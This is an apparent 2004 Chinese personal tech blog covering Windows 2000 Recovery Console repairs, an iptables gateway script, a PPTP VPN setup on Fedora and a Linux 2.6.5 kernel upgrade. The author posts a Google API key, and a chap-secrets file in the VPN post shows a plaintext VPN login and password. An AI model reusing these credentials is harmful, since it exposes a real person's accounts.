    如果使用 expand 命令并且目标文件已经存在,则除非使用 /y,否则系统就会给出提示。


    ** FIXBOOT
    fixboot drive name:

    可以使用此命令(其中,drive name 是在其中写入启动扇区的驱动器号)在启动扇区上写入新的 Windows 启动扇区代码。此命令修复了导致 Windows 启动扇区被破坏的问题。紧急修复过程也能修复启动扇区。此命令重写系统启动分区的写入默认值。


    ** FIXMBR
    fixmbr device name

    可以使用此命令(其中,device name 是可选的设备名,用于指定需要新 MBR 的设备)修复系统分区的主启动记录 (MBR)。如果病毒损坏了 MBR 并且 Windows 无法启动,则可以使用此命令。

    警告: 如果出现病毒或者存在硬件问题,则此命令可能会损坏分区表。该命令可能导致无法访问分区。Microsoft 建议您在使用此命令之前运行防病毒软件。

    可以从 map 命令的输出中找到该名称。如果没有此名称,则修复启动设备的 MBR,例如:
    fixmbr \device\harddisk2

    如果 Fixmbr 检测到无效的或非标准的分区表签名,则在重新写入 MBR 之前,它提示您是否同意重新写入。


    ** FORMAT
    format drive:/q /fs:file_system

    可以使用此命令(其中,drive 是要格式化的分区的驱动器号,file_system 指定要使用的文件系统的类型 [FAT、FAT32 或 NTFS])将指定的驱动器格式化为指定的文件系统。可以使用此命令和 /q 参数对驱动器执行快速格式化。

    如果没有指定文件系统,则使用现有的文件系统格式(如果有的话)。


    ** LISTSVC
    listsvc 命令列出所有可用的服务、驱动程序及其当前 Windows 安装的启动类型。在使用 disable 和 enable 命令时,您可能需要使用此命令。

    备注: 此信息是从 %SystemRoot%\System32\Config\SYSTEM 配置单元中提取的。如果 SYSTEM 配置单元被破坏或丢失,则可能会出现无法预计的后果。


    * LOGON
    logon

    当使用logon 命令时,将显示检测到的所有 Windows 安装的列表,并提示您输入要登录的 Windows 副本的本地管理员密码。如果登录失败超过三次,控制台将退出并重新启动计算机。


    * MAP
    map arc

    可以使用此命令(其中,arc 参数告诉map 命令使用 ARC 路径而不是 Windows 设备路径)列出驱动器号、文件系统类型、分区大小和物理驱动器的映射情况。


    * MD 和 MKDIR
    可以使用md 或mkdir 命令创建新的文件夹。不支持通配符。mkdir 命令的操作范围仅限于当前 Windows 安装的系统文件夹、可移动媒体、所有硬盘分区的根文件夹或本地安装源。


    * MORE
    more filename
    可以使用此命令在屏幕上显示文本文件。


    * RD 和 RMDIR
    可以使用rd 和rmdir 命令删除文件夹。这些命令的操作范围仅限于当前 Windows 安装的系统文件夹、可移动媒体、所有硬盘分区的根文件夹或本地安装源。


    * REN 和 RENAME
    可以使用ren 和rename 命令重命名文件。注意,您不能为目标文件指定新的驱动器或路径。这些命令的操作范围仅限于当前 Windows 安装的系统文件夹、可移动媒体、所有硬盘分区的根文件夹或本地安装源。


    ** SET
    可以使用set 命令显示或修改 4 个环境选项。
    AllowWildCards = FALSE
    AllowAllPaths = FALSE
    AllowRemovableMedia = FALSE
    NoCopyPrompt = FALSE


    ** SYSTEMROOT
    可以使用systemroot 命令将当前工作文件夹设置为您当前所登录的 Windows 安装的 %SystemRoot% 文件夹。


    * TYPE
    type filename
    可以使用type 命令显示文本文件。

    >>3. << 基本任务
    在上面一节列出了Win2000故障恢复控制台的所有命令,其中**标注的都是相关系统故障比较密切的命令,与他们相关的可能遇到的故障和解决方法如下。

    1. 安装Linux或其他操作系统后不能引导Windows 2000系统了......
    # 原因可能是主引导块(MBR)或Windows分区引导记录被修改,可以用FIXBOOT和FIXMBR
    命令修复MBR和引导块,FIXMBR的功能就相当于DOS下的fdisk /mbr 。FIXBOOT可能需要指定
    Win2000的系统安装分区路径,格式是\Device\HardDisk0\Partition1类似的。
    另一个可能是系统分区改变,导致c:\boot.ini中记录的系统文件路径错误,从而系统无法引导。这样需要修改boot.ini文件,由于故障恢复控制台中没有可用的文本编辑器...所以可能你只能把它拷贝到移动媒体上,在别的系统中编辑正确之后再拷贝回来。注意,这个文件是系统隐含只读属性,需要先attrib -s -r -h c:\boot.ini才能够修改和替换。至于
    修改的方法和问题,见第四条和第五条。
    如果你使用Bluecon或者WinPE这样强大的工具的话,那么可以直接修改这个文件,工作就更简单了。


    2. 我新加了一个硬盘,如何分区和格式化?
    # 很多人都抱怨win20系统下找不到fdisk,这是当然的,因为它已经被另一个命令DISKPART
    取代了。DISKPART的命令行参数见上一节,设备名也是如上所述格式,可以按字符控制界面
    和命令行操作两种模式运行。 至于格式化,format命令和以前并没有什么大的区别,参数格式很简单,比较有用的参数主要是/FS:[NTFS|FAT],可以指定格式化分区类型。提示:可以使用MAP命令查看当前所有识别出的设备路径。


    3. 我为了防止冲击波病毒,按照网上一些文档所述关掉了RPC/DCOM服务,所以......
    # 所以遭遇不幸了是不是?我就说这个不能关的么...
    可以用如下命令打开: ENABLE Remote Procedure Call (RPC) SERVICE_SYSTEM_START 如果误关了其他服务,也可以用LISTSVC查看服务信息,然后用ENABLE打开。在LISTSVC中会列出所有的系统服务,包含隐含服务以及驱动服务,比Services.msc强大多了... 同样,由于其统服务启动失败引起的故障,例如你看Norton的杀毒引擎不爽,也可以在这里用DISABLE禁掉他。 ENABLE和DISABLE的最后一个参数,是启动类型,分别定义为服务启动的阶段和类型,详细地看注册表中的键值,以及其他资料。


    4. 我不小心替换了某个系统服务程序/驱动,系统起不来了......
    # 有两种方法,一种比较干净的方法,就是从系统安装光盘中的驱动安装包释放出原始的驱动
    文件: expand d:\i386\driver.cab /f:文件名 [路径]
    在此命令中,使用 CD-ROM 驱动器号替换 d:,使用要扩展的文件名替换文件名,然后使用要在其中复制驱动程序文件的文件夹替换路径。通常情况下,驱动程序 (.sys) 文件存储在 %SystemRoot%\System32\Drivers 文件夹中.例如,要替换 Atimpab.sys 驱动程序文件,您可以键入:
    expand d:\i386\driver.cab /f:atimpab.sys %systemroot%\System32\Drivers\
    注意,在此命令中,您必须使用 /f 开关,因为 Driver.cab 压缩文件包含多个文件。
    安装文件存储在 Windows 2000 安装 CD-ROM 的压缩文件夹(称为 CAB (.cab) 文件)中。驱动程序文件存储在 Driver.cab 文件中。
    另外,也可以使用copy命令使用移动媒体(主要是软盘)从别的机器上拷贝一份干净的备份过来。copy [源路径] 源文件名 [目标路径] 目标文件名
    范例:copy a:\atimpab.sys c:\winnt\system32\drivers\atimpab.sys 需要注意的是,故障恢复控制台中的“copy”命令不支持通配符。因此,您每次只能复制一个文件。如果您必须替换多个文件,请使用多个“copy”命令。


    5. 唔唔唔,你骗人...我用了copy命令,可是她说我权限不够,copy失败......
    # 嗯,这个么,其实我早就知道了(其实当年我也这样的)。记得前面说过这是一个"有限控制
    台"么?嗯,在Win2000故障恢复控制台中,出于安全因素考虑,是不允许直接修改系统内的
    文件的,这些是由系统中的几个环境变量决定的,这些变量可以用set命令查看。

    默认情况下,使用下列规则:
    AllowAllPaths = FALSE: 此规则禁止访问您在进入故障恢复控制台时选定的系统安装以外的文件夹和子文件夹。
    AllowRemovableMedia = FALSE: 此规则禁止访问作为复制文件目标的可移动媒体。
    AllowWildCards = FALSE: 此规则禁止命令的通配符支持,例如,copy 和del。
    NoCopyPrompt = FALSE: 此规则意味着当您覆盖现有文件时,故障恢复控制台将提示您进行确认。

    我们只需要执行 set allowremovablemedia = true ,就可以使用移动媒体拷贝文件了。
    同样,set AllowAllPaths = true,就可以访问所有路径下的文件了。 你可以看一下其他的环境变量,或许有意外的惊喜哦,现在是不是觉得这个无用的控制台功能强大了许多?

    备注:在每次进入故障恢复控制台时,必须重新键入 set 命令。


    6. 每次都要用光盘启动,很烦哪...
    # 好吧,其实,这个也是可以安装在硬盘上的...嘿嘿嘿,不过和普通的应用程序可不同。
    若要安装故障恢复控制台,请:
    & 将 Windows 2000 光盘插到 CD-ROM 驱动器中;
    & 单击<开始菜单>,然后单击"运行";
    & 在打开 框中,键入drive:\i386\winnt32.exe /cmdcons,其中 drive 是 CD-ROM
    驱动器的驱动器号。
    & 启动安装过程,然后重新启动计算机。 下次启动计算机时,在启动菜单上就会多出一项“Microsoft Windows 故障恢复控制台”。

    7. 我的机器是AD域控制器,用你的方法不能修复...
    # 如果计算机是使用 Active Directory 的域控制器,那么应该使用启动模式菜单中的 “目录服务还原模式”,并且输入将服务器升级为域控制器时选择的“目录服务还原模式”
    密码。


    8. 我用安装光盘启动,可是却认不出我的硬盘,怎么办啊?
    # 其实在安装操作系统时你一定就已经遇到过这个问题了,因为Windows系统内没有你的硬件
    驱动,所以需要你自己提供第三方的驱动程序。在故障恢复控制台启动前,可以按 F6 键安
    装第三方 SCSI 或 RAID 驱动程序,然后向天祈祷,如果RP不是太差的话,那么就可以访
    问你的硬盘了。


    9. 最后提醒一点,系统恢复工作最重要的一点,还是及时备份...备份注册表,备份驱动,
    # 备份系统文件...等等;最起码的工作就是一定要创建一份当前系统的紧急修复磁盘,
    否则有可能出现紧急修复控制台找不到系统安装的现象...到时候你就欲哭..吧。方法:
    我的电脑 -> 右键点击 C: -> 工具 -> 备份 -> 紧急修复磁盘。


    10. 这个东东的命令还是太少了么,什么都米有的...
    # 这个...那个...完咧...你还是用O&O BlueCon去吧,那个的功能强大太多;
    http://www.freedemon.org/download/bluecon.iso
    或者可以使用WindowsPE,或ERD Commander,那些还有图形界面和网络支持的,相当于
    光盘运行的mini windows,不过那是后话,也不在这里多提啦。

    Posted by vitter at 2004-05-10 09:55:51 | 评论 (0)

    April 30, 2004

    Google APIs Key

    今天得到了Google APIs Key,呵呵“lTC/nvlQFHJqmXefXV7DAoVoUGaRSJqI”
    记之,加到Blog的Google API keyl 里面:
    If you wish to use any of the Google API functionality (listing Google search results on your site using , for example), you will need to sign up for a Google API key ( http://www.google.com/apis/ ), then paste your API key into this field. Your key will be sent to Google's servers whenever you use Google API functionality.
    呵呵,不知道会怎样啊。反正比没有要好吧:)
    收到google的mail,不知道他什么时候会给我Gmail,据说有人已经得到了,申请的时候也说给的啊,不过要等的啊:(

    Since this is a beta service, we cannot guarantee we will respond to
    every email we receive, but we do value your feedback and suggestions.

    - The Google Web APIs Team


    Terms and Conditions for Google Web API Service

    Thank you for using the Google Web APIs (TM) service! By using this
    service ("Google Web APIs") you agree to be bound by the following
    terms and conditions (the "Terms and Conditions").

    PERSONAL AND LEGITIMATE USES ONLY

    The Google Web APIs service is made available to you for your
    personal, non-commercial use only (at home or at work). You may only
    create a single account and must provide accurate identification,
    contact, and other information required as part of the registration
    process. You may not create any script or other automated tool that
    attempts to create multiple Google Web APIs accounts. And you may not
    use the search results provided by the Google Web APIs service with an
    existing product or service that competes with products or services
    offered by Google.

    If you are interested in doing anything different than the foregoing,
    you must first obtain Google's written consent. If you fail to do so,
    Google reserves the right to take legal action against you.

    Furthermore, you may not use Google Web APIs in any manner that either
    directly or indirectly violates any laws or proprietary rights. This
    includes laws and proprietary rights in the United States as well as
    in other countries.

    If you have questions on your contemplated use or if you have comments
    on Google Web APIs or ideas on how to improve it, please email
    api-support@google.com. Please note that by doing so, you also grant
    Google permission to use and incorporate your ideas or comments into
    Google Web APIs without further compensation.

    INTELLECTUAL PROPERTY

    You agree not to remove, obscure, or alter Google's copyright notice,
    trademarks, or other proprietary rights notices affixed to or
    contained within Google Web APIs. You also acknowledge that Google
    owns all right, title and interest in and to Google Web APIs,
    including without limitation all intellectual property rights (the
    "Google Rights"). The Google Rights include rights to the following:
    (1) the APIs developed and provided by Google, (2) all software
    associated with the Google Web APIs server, and (3) the search results
    and spell checking you obtain when you use Google Web APIs. The Google
    Rights do not include the following: (1) third party components used
    as part of Google Web APIs; or (2) software developed by you in
    conjunction with using Google Web APIs.

    PUBLICITY

    So long as you comply with your obligations under this Agreement, you
    may indicate that a product or service that you created either used or
    is based on Google Web APIs provided that those products or services
    do not in Google's reasonable opinion (1) tarnish, infringe, or dilute
    Google's trademarks, (2) violate any applicable law, and (3) infringe
    any third party rights. If you wish to use the GOOGLE trademark and/or
    logo in any other manner, you must first obtain Google's written
    consent.

    DISCLAIMER OF WARRANTIES

    The Google Web APIs service is presently in Beta form and has not been
    fully tested or debugged. Accordingly, Google disclaims any
    responsibility for any harm resulting from your use of Google Web APIs.

    The Google Web APIs service is provided "as is," with no warranties
    whatsoever. Google expressly disclaims to the fullest extent permitted
    by law all express, implied, and statutory warranties, including,
    without limitation, the warranties of merchantability, fitness for a
    particular purpose, and non-infringement of proprietary rights. Google
    disclaims any warranties regarding the security, reliability,
    timeliness, availability, and performance of Google Web APIs.

    You understand and agree that you use Google Web APIs at your own
    discretion and risk and that you will be solely responsible for any
    damages to your computer system or loss of data that results from the
    download or use of Google Web APIs.

    Some states or other jurisdictions do not allow the exclusion of
    implied warranties, so the above exclusions may not apply to you. You
    may also have other rights that vary from state to state and
    jurisdiction to jurisdiction.

    LIMITATION OF LIABILITY

    The Google Web APIs service is being provided free of charge.
    Accordingly, you agree that Google shall have no liability arising
    from or based on your use of Google Web APIs.

    Under no circumstances shall Google be liable to any user on account
    of that user's use or misuse of Google Web APIs. Such limitation of
    liability shall apply to prevent recovery of direct, indirect,
    incidental, consequential, special, exemplary, and punitive damages
    whether such claim is based on warranty, contract, tort (including
    negligence), or otherwise, even if Google has been advised of the
    possibility of such damages). Such limitation of liability shall apply
    whether the damages arise from use or misuse of and reliance on the
    Google Web APIs, from inability to use Google Web APIs, or from the
    interruption, suspension, or termination of Google Web APIs (including
    such damages incurred by third parties). Such limitation shall apply
    notwithstanding a failure of essential purpose of any limited remedy
    and to the fullest extent permitted by law.

    Some states or other jurisdictions do not allow the exclusion or
    limitation of liability for incidental or consequential damages, so
    the above limitations and exclusions may not apply to you.

    INDEMNIFICATION

    You hereby agree to indemnify, defend and hold Google, and its
    officers, directors, agents, licensors and licensees (collectively,
    the "Indemnified Parties") harmless from and against any and all
    liability and costs incurred by the Indemnified Parties in connection
    with any claim arising out of your use of Google Web APIs, including,
    without limitation, reasonable attorneys' fees. You shall cooperate as
    fully as reasonably required in the defense of any claim. Google
    reserves the right, at its own expense, to assume the exclusive
    defense and control of any matter subject to indemnification by you.

    GOOGLE'S SEARCH SERVICE

    The Google Web APIs service is designed to be used in conjunction with
    Google's search services. Accordingly, your use of Google Web APIs is
    also defined by Google's Terms of Service and Privacy Policy. In the
    event of a conflict between these Terms and Conditions and Google's
    Terms of Service, these Terms and Conditions shall prevail.

    TERM AND TERMINATION

    If you wish to terminate this Agreement, you may simply cease using
    the Google Web APIs service. In such a case, you must delete any
    search result information that you may have obtained from the Google
    Web APIs service. Google may terminate this Agreement (and your
    account) at any time, with or without cause.

    GENERAL PROVISIONS

    These Terms and Conditions will be governed by and construed in
    accordance with the laws of the State of California, without giving
    effect to the conflict of laws provisions of California or your actual
    state or country of residence. Any dispute arising from these Terms
    and Conditions shall be adjudicated in the federal or state courts
    located in Santa Clara County, California. If for any reason a court
    of competent jurisdiction finds any provision or portion of these
    Terms and Conditions to be unenforceable, the remainder of these Terms
    and Conditions will continue in full force and effect. These Terms and
    Conditions constitute the entire agreement between the parties with
    respect to the subject matter hereof and supersede and replace all
    prior or contemporaneous understandings or agreements, written or
    oral, regarding such subject matter. Any waiver of any provision of
    these Terms and Conditions will be effective only if in writing and
    signed by Google.

    Posted by vitter at 2004-04-30 16:47:33 | 评论 (0)

    IPtables

    某台网关的IPtables配置:

    #!/bin/bash
    modprobe ip_tables
    modprobe ip_nat_ftp
    modprobe ip_conntrack
    modprobe ip_conntrack_ftp
    modprobe ip_conntrack_irc
    # start firewall service with deny all
    iptables -F
    iptables -F -t nat
    iptables -X
    iptables -X -t nat
    iptables -P INPUT DROP
    iptables -P FORWARD DROP
    iptables -P OUTPUT DROP
    iptables -A INPUT -i lo -j ACCEPT
    iptables -A OUTPUT -o lo -j ACCEPT
    iptables -A INPUT -i eth+ -j ACCEPT
    iptables -A OUTPUT -o eth+ -j ACCEPT
    #iptables -A INPUT -i ppp0 -j ACCEPT
    #iptables -A OUTPUT -o ppp0 -j ACCEPT
    # ICMP Control
    iptables -A OUTPUT -o ppp0 -p icmp -j ACCEPT
    iptables -A INPUT -i ppp0 -p icmp --icmp-type echo-reply -j ACCEPT
    iptables -A INPUT -i ppp0 -p icmp --icmp-type echo-request -j DROP

    iptables -A FORWARD -p tcp -d 192.168.1.0/24 ! --syn -i ppp0 -j ACCEPT
    iptables -A FORWARD -m mac --mac-source 00-0E-A6-27-10-46 -p tcp --dport 80 -j ACCEPT
    iptables -A FORWARD -m mac --mac-source 00-0E-A6-27-10-46 -p tcp --dport 443 -j ACCEPT

    iptables -A FORWARD -s 192.168.1.0/24 -p tcp --dport 80 -j REJECT
    # outgoing
    iptables -A INPUT -i ppp0 -p TCP --sport www -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --dport www -j ACCEPT
    iptables -A INPUT -i ppp0 -p UDP --sport www -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p UDP --dport www -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --sport smtp -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --dport smtp -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --sport domain -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --dport domain -j ACCEPT
    iptables -A INPUT -i ppp0 -p UDP --sport domain -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p UDP --dport domain -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --sport telnet -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --dport telnet -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --sport ssh -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --dport ssh -j ACCEPT
    # incoming
    iptables -A INPUT -i ppp0 -p TCP --dport www -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --sport www -j ACCEPT
    iptables -A INPUT -i ppp0 -p UDP --dport www -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p UDP --sport www -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --dport smtp -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --sport smtp -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --dport pop3 -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --sport pop3 -j ACCEPT
    iptables -A INPUT -i ppp0 -p UDP --dport pop3 -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p UDP --sport pop3 -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --dport domain -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --sport domain -j ACCEPT
    iptables -A INPUT -i ppp0 -p UDP --dport domain -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p UDP --sport domain -j ACCEPT
    iptables -A INPUT -i ppp0 -p TCP --dport ssh -j ACCEPT
    iptables -A OUTPUT -o ppp0 -p TCP --sport ssh -j ACCEPT
    # SET NAT camouflage IP with more to one
    echo "1" > /proc/sys/net/ipv4/ip_forward
    #MASQUERADE the PPP link
    iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

    #iptables -t nat -A PREROUTING -p all -i ppp0 \-j DNAT --to 192.168.0.51
    #iptables -A PREROUTING -t nat -p tcp -d 61.70.177.180 \--dport 8080 -j DNAT --to 192.168.0.51:80

    iptables -A FORWARD -p tcp -s 0/0 --sport ftp-data -d 192.168.1.0/24 -i ppp0 -j ACCEPT

    iptables -A FORWARD -p udp -d 192.168.1.0/24 -i ppp0 -j ACCEPT


    iptables -A FORWARD -s 192.168.1.0/24 -i eth1 -j ACCEPT

    Posted by vitter at 2004-04-30 15:40:04 | 评论 (0)

    Linux(RedHat)主机加固

    5.1不知道能不能有空,所以现在整理好了,就赶紧弄上来了,密码找我本人来要:)
    Linux(RedHat)主机加固
    By:vitter(vitter@afechina.net)
    My Web:http://vfocus.net
    Our Web:http://www.safechina.net
    My Blog:http://blog.vfocus.net
    序:
    众所周知,网络安全是个很重要的课题,而对于Linux这个源代码开放的操作系统是公认的比较安全的系统,一旦Linux系统中发现漏洞Internet上来自世界各地的志愿者会踊跃修补它。然而,系统管理员往往不能及时地得到信息并进行更正,这就给黑客以可乘之机。相对于这些系统本身的安全漏洞,更多的安全问题是由不当的配置造成的,可以通过适当的配置来防止。本文就是想通过系统管理员的安全配置来加固Linux系统,希望能对广大系统管理员有所帮助。
    目录:
    一、 补丁安装
    二、 帐号、口令策略修改
    三、 网络与服务加固
    四、 文件系统加固
    五、 日志审核增强
    六、 安全性增强
    七、 推荐安装安全工具
    详情请见:
    Download file

    Posted by vitter at 2004-04-30 15:34:32 | 评论 (14)

    April 16, 2004

    Fedora 下做VPN(未用IKE)

    这只是个简单例子,关于利用IKE的VPN我以后再写。先最小安装+内核开发(因为要编译内核的),这做路由防火墙VPN足够了,相对安全性也高。下面开始做VPN:
    1、 找到软件
    我用的软件是pptpd-1.1.4-b4.i386.rpm,从http://aleron.dl.sourceforge.net/sourceforge/poptop/pptpd-1.1.4-b4.i386.rpm下载。
    2、 安装

    #rpm –hUv pptpd-1.1.4-b4.i386.rpm。

    安装完成之后可以看到,启动脚本/etc/rc.d/init.d/pptpd,缺省的配置文件/etc/pptpd.conf,/etc/ppp/options.pptpd。
    3、 配置
    PPTPD的配置也相当简单,涉及到的文件为,

      /etc/pptpd.conf
      /etc/ppp/options.pptpd
      /etc/ppp/chap-secrets

      具体配置文件的配置方法,相关的文档有比较细致的描述,我只给出个我的配置文件供大家参考。

    [root@vitter ppp]# vi /etc/pptpd.conf
    ########################################################################
    #
    # Sample PoPToP configuration file
    #
    # for PoPToP version 1.1.4-b3
    #
    ########################################################################

    # TAG: speed
    #
    # Specifies the speed for the PPP daemon to talk at.
    #
    speed 115200

    # TAG: option
    #
    # Specifies the location of the PPP options file.
    # By default PPP looks in '/etc/ppp/options'
    #
    option /etc/ppp/options.pptpd

    # TAG: stimeout
    #
    # Specifies timeout (in seconds) on starting ctrl connection
    #
    # stimeout 10

    # TAG: debug
    #
    # Turns on (more) debugging to syslog
    #
    debug

    # TAG: bcrelay
    #
    # Turns on broadcast relay to clients from interface
    #
    #bcrelay eth1

    # TAG: localip
    # TAG: remoteip
    #
    # Specifies the local and remote IP address ranges.
    #
    # You can specify single IP addresses seperated by commas or you can
    # specify ranges, or both. For example:
    #
    # 192.168.0.234,192.168.0.245-249,192.168.0.254
    #
    # IMPORTANT RESTRICTIONS:
    #
    # 1. No spaces are permitted between commas or within addresses.
    #
    # 2. If you give more IP addresses than MAX_CONNECTIONS, it will
    # start at the beginning of the list and go until it gets
    # MAX_CONNECTIONS IPs. Others will be ignored.
    #
    # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,
    # you must type 234-238 if you mean this.
    #
    # 4. If you give a single localIP, that's ok - all local IPs will
    # be set to the given one. You MUST still give at least one remote
    # IP for each simultaneous client.
    #
    localip 192.168.0.150
    remoteip 192.168.0.1-238,192.168.0.245
    # or
    #localip 192.168.0.234-238,192.168.0.245
    #remoteip 192.168.1.234-238,192.168.1.245


    [root@vitter ppp]# vi /etc/ppp/options.pptpd
    ## CHANGE TO SUIT YOUR SYSTEM
    lock

    ## turn pppd syslog debugging on
    #debug

    ## change 'pptpd' to whatever you specify as your server name in chap-secrets
    name pptpd

    proxyarp
    bsdcomp 0

    # This option applies if you use ppp with chapms-strip-domain patch
    #chapms-strip-domain

    # These options apply if you use ppp with mppe patch
    # NB! You should also apply the ChapMS-V2 patch
    +chap
    #-chapms
    #+chapms-v2
    #mppe-128
    #mppe-stateless

    # These options will tell ppp to pass on these to your clients
    # To use ms-wins or ms-dns in options.pptpd it must exist in /etc/resolv.conf
    #ms-wins your.server.here
    #ms-dns your.server.here


    [root@vitter ppp]# vi /etc/ppp/chap-secrets
    # Secrets for authentication using CHAP
    # client server secret IP addresses
    "vitter" * "wei129" 192.168.0.150

    Posted by vitter at 2004-04-16 18:56:08 | 评论 (0)

    April 15, 2004

    Fedora 1升级2.6.5内核

    Fedora 1升级2.6.5内核
    By:vitter(vitter@safechina.net)
    Our Web: http://www.safechina.net
    My Web: http://vfocus.net
    My Blog: http://blog.vfocus.net
    前几天装了个Fedora core 1 作公司防火墙和VPN,但是他的内核居然是2.4.22的,据说fedora 2会采用2.6的内核(我是等不及了),因为要用IPtables和VPN要编译内核,所以干脆顺便升级到最新的内核得了:)一查发现现在最新内核是2.6.5,马上down下来升级。发现现在编译内核的方法更加方便了,如果你用的是GRUB的引导(因为我用的是他),那安装新内核更加方便,你都不用改什么文件。
    1.下载2.6.5的内核
    #wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.5.tar.gz
    2.在/usr/src目录下解压内核
    tar zvxf /下载的路径/linux-2.6.5.tar.gz
    3.配置
    # make mrproper        //是清理代码树的动作,保证源代码是干净的
    # make menuconfig
    其实现在编译内核最关键的地方就是配置内核。我一般用make menuconfig配置内核。配置2.6.5内核时如果你的主板是Intel芯片的话,你用默认配制也许就可以得到一个满意的内核。做法是make menuconfig后离开时选择保存。这里的难点是pci,如果你硬盘是IDE的那一定要选择好你主板上南桥芯片。SCSI的话就是要选择上你的SCSI卡型号。还有就是网卡,声卡芯片的型号了,他们的型号你都可以用lspci 查找到:
    # /sbin/lspci
    另外我用的是ext3文件格式,所以要把ext3文件系统编译进内核,否则会出问题的,详情见附录。另外我要使用IPSec及IKE、Linux VPN运行环境组建企业虚拟网,所以在网络选项中选择以下四项,使系统内核能够支持IPSec。

    <*> PF_KEY sockets
    <*> IP: AH transformation
    <*> IP: ESP transformation
    <*> IP: IPComp transformation
    4.编译
    #make //2.6的编译确实比以前方便多了,以前的make bzImage; make modules等步骤都在make一步都搞定
    5.安装
    #make modules_install
    #make install
    以前还要cp 内核和System.map
    #cp /usr/src/linux2.6.5/arch/i386/boot/bzImage /boot/vmlinuz-2.6.5
    #cp /usr/src/linux-2.6.5/System.map /boot/System.map-2.6.5
    修改Grub.conf,现在统统make install搞定,如果你不放心,你可以去/boot目录看看是否已经有最新的vlinuz-2.6.5和System.map-2.6.5还有grub.conf是否已经给你自动配置好了.
    下面是我make install以前的Grub.conf:
    # grub.conf generated by anaconda
    #
    # Note that you do not have to rerun grub after making changes to this file
    # NOTICE: You have a /boot partition. This means that
    # all kernel and initrd paths are relative to /boot/, eg.
    # root (hd0,0)
    # kernel /vmlinuz-version ro root=/dev/hda2
    # initrd /initrd-version.img
    #boot=/dev/had
    default=0
    timeout=10
    splashimage=(hd0,0)/grub/splash.xpm.gz
    title Fedora Core (2.4.22-1.2115.nptl)
    root (hd0,0)
    kernel /vmlinuz-2.4.22-1.2115.nptl ro root=LABEL=/
    initrd /initrd-2.4.22-1.2115.nptl.img
    Make install后变成了:
    # grub.conf generated by anaconda
    #
    # Note that you do not have to rerun grub after making changes to this file
    # NOTICE: You have a /boot partition. This means that
    # all kernel and initrd paths are relative to /boot/, eg.
    # root (hd0,0)
    # kernel /vmlinuz-version ro root=/dev/hda2
    # initrd /initrd-version.img
    #boot=/dev/had
    default=1
    timeout=10
    splashimage=(hd0,0)/grub/splash.xpm.gz
    title Fedora Core (2.6.5)
    root (hd0,0)
    kernel /vmlinuz-2.6.5 ro root=LABEL=/
    initrd /initrd-2.6.5.img
    title Fedora Core (2.4.22-1.2115.nptl)
    root (hd0,0)
    kernel /vmlinuz-2.4.22-1.2115.nptl ro root=LABEL=/
    initrd /initrd-2.4.22-1.2115.nptl.img

    现在一切ok,reboot机器。可以享受新内核了:)
    附:(常见错误)
    1.启后出现一句错误提示后就死锁了:
    kernel panic : no init found ,try passing init = option to kernel.............
    解决办法:注意如果你的系统一开始是ext3格式,最好直接把ext3文件系统编译进内核,而不要以模块的加载,否则启动将报类似的错误

    Posted by vitter at 2004-04-15 10:45:24 | 评论 (0)

    April 14, 2004

    Linux2.6内核

    红帽公司发布Fedora Core 2的第一个测试版本,其中还包括两个应用广泛的Linux用户接口:Gnome 2.5以及KDE 3.2。这个基于 Linux2.6的测试版Linux系统则增加了对高性能服务器的更多支持,提高了同时处理多任务的能力,以及其它一些特性。

    Fedora是红帽公司连接Linux爱好者的实验版Linux。在免费的同时,红帽也缺少对该软件的支持和补丁程序。公司的主打产品是 Enterprise Linux,预计红帽企业版Linux在2005年之前不会采用2.6内核。

    红帽作为领先的Linux操作系统销售商,正希望招募更多的外部程序员参与开发,以使Fedora更快的成熟。第二个测试版Fedora Core 2在3月8日发布,第三个测试版在3月28日发布,最终正式版本将在4月19日发布。

    该软件可以在红帽相关网站下载(http://fedora.redhat.com/)。

    Linux 2.6收获企业市场果实
    袁斌(《每周电脑报》)
    22/3/2004
    URL: http://www.zdnet.com.cn/techupdate/system/linux/story/0,3800030639,39223148,00.htm

    收获企业市场果实

    Linux 2.4内核的推出标志着Linux企业操作系统已经准备就绪。经过三年来几次重大的升级,Linux 2.6继承了2.4的内核、强化了前辈的优点,其适应性、性能都有了很大提高。Linux 2.6内核在去年12月就已经出现,用户可以在kernel.org上免费下载。但绝大多数用户,宁愿选择在一家Linux厂商推出包含这种新内核的 Linux 操作系统后再来使用它。

    红帽有限公司的“社区支持”Linux部门,Fedora Core将首先成为推出包含Linux 2.6内核软件的大机构。Fedora Core 2 i计划于4月19日面市,它的第一个测试版本已经在 fedora.redhat.com上提供免费下载。 MandrakeSoft SA公司的Mandrake Linux 10.0社区支持版本软件也是基于Linux 2.6内核,预计将在本月推出。官方正式版本可能会在4月或者5月推出。

    而Novell公司旗下的SuSE Linux预计将在春末夏初推出包含Linux 2.6内核的 SuSE Linux 企业服务器9,红帽也已经宣布,红帽企业Linux 4基于新的内核,上市日期为今年秋天。

    Linux 2.6 内核
    内在改进
    Linux 2.6 内核包括了新的针对I/O 操作的预先调度程序。在eWEEK实验室的测试中,系统在执行一个繁重任务的同时,打开一个新的终端窗口的速度比 Linux 2.4内核的速度提高了很多。由于快速响应时间缩短了,新I/O 调度程序将对桌面用户很有帮助。另外,执行大规模任务的Web服务器性能也大有改善。

